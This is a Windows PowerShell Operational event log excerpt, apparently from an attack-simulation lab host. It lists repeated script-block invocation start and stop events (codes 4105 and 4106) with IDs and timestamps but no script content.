OpCode=On create calls
RecordNumber=2030766
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030765
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030764
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030763
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030762
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030761
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030760
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030759
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030758
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030757
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030756
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030755
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030754
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030753
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030752
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030751
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030750
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030749
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030748
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030747
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030746
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030745
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030744
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030743
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030742
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030741
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030740
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030739
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030738
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030737
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030736
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030735
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030734
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030733
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030732
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030731
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030730
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030729
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030728
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030727
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030726
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030725
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030724
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030723
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030722
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030721
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030720
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030719
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030718
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030717
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030716
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030715
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030714
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030713
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
